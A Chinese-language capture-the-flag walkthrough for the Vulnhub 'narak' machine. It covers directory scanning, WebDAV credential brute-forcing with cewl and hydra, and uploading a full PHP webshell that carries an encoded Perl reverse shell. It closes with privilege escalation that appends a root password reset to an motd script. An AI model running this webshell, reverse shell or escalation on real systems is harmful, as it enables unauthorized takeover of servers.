导读:narak靶机.vulnhub下载靶机和kali一起设置为nat模式.ifconfig查询本机IP地址.nmap扫描本机网段查看靶机地址.查看源代码后什么也没发现.使用dirb工具-基于字典的目录扫描工具.dirb扫一下目录.使用方法:dirb http://192.168.10
narak靶机
vulnhub下载靶机和kali一起设置为nat模式
ifconfig查询本机IP地址
nmap扫描本机网段查看靶机地址
查看源代码后什么也没发现
使用dirb工具-基于字典的目录扫描工具
dirb扫一下目录
使用方法:dirb http://192.168.10.138/
发现webdav服务
我们搜索webdav服务
WebDAV 基于 HTTP 协议的通信协议,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。
常用的文件共享有三种:FTP、Samba、WebDAV,它们各有优缺点,了解后才能更好地根据自己的需求选择方案。
那此时我们通过webdav进入网站发现需要用户密码
因为没有任何提示我们用户密码的东西,所有我们采用密码爆破的方式,使用kali自带的字典生成工具cewl获取网站后台数据从而生成字典。
使用方法 cewl http://192.168.10.138 -w dict.txt
#dict.txt是生成文件的名字。
之后用hydra工具使用字典爆破靶机
(-L 指定用户名 -P 指定密码 http-get 请求方式)
爆破出密码用户后登录
我们上传一个shell文件
反弹shell端口号和ip地址改成本机的
<?php function which(\(pr) { \)path = execute(“which \(pr"); return (\)path ? \(path : \)pr); } function execute(\(cfe) { \)res = “; if (\(cfe) { if(function_exists('exec')) { @exec(\)cfe,\(res); \)res = join(”\n”,\(res); } elseif(function_exists('shell_exec')) { \)res = @shell_exec(\(cfe); } elseif(function_exists('system')) { @ob_start(); @system(\)cfe); \(res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru(\)cfe); \(res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource(\)f = @popen(\(cfe,"r"))) { \)res = “; while(!@feof(\(f)) { \)res .= @fread(\(f,1024); } @pclose(\)f); } } return \(res; } function cf(\)fname,\(text){ if(\)fp=@fopen(\(fname,'w')) { @fputs(\)fp,@base64_decode(\(text)); @fclose(\)fp); } } \(yourip = "192.168.10.138"; \)yourport = ‘4444’; \(usedb = array('perl'=>'perl','c'=>'c'); \)back_connect=“IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj”. “aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR”. “hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT”. “sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI”. “kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi”. “KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl”. “OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==”; cf(‘/tmp/.bc’,\(back_connect); \)res = execute(which(‘perl’).” /tmp/.bc \(yourip \)yourport &“); ?>
用cadaver工具连接webdav以便上传我们的shell文件
进入webdav后我们打开:
open http://192.168.10.138/webdav
我们要把shell文件放在网站根目录下后再put webshell.php
之后nc -lvvp 4444监听4444端口查看监听情况
在根目录下发现可疑mnt目录打开获得一串字符
--[—–>+<]>-–.+++++.+.+++++++++++.–.+++[->+++<]>++.++++++.–[—>+<]>--.—–.++++.
解码网站:https://www.splitbrain.org/services/ook
得到一组brainfuck编码,解码后得到:
chitragupt
在home目录下发现了 inferno,narak用户
ssh连接登录inferno试试,解码的chitragupt作为密码登录找到user.txt文件发现flag
修改文件 /etc/update-motd.d/00-header 1.进入到文件夹 /etc/update-motd.d/ 2.修改文件 echo “echo ‘root:admin’|sudo chpasswd”>>00-header 3.重新登录 \4. 切换管理员
之后 su root切换管理员权限时,密码就是admin
root目录中找到flag
上一篇:【短道速滑十】从单幅图像中评估加
下一篇:awk 处理 Git 提交信息生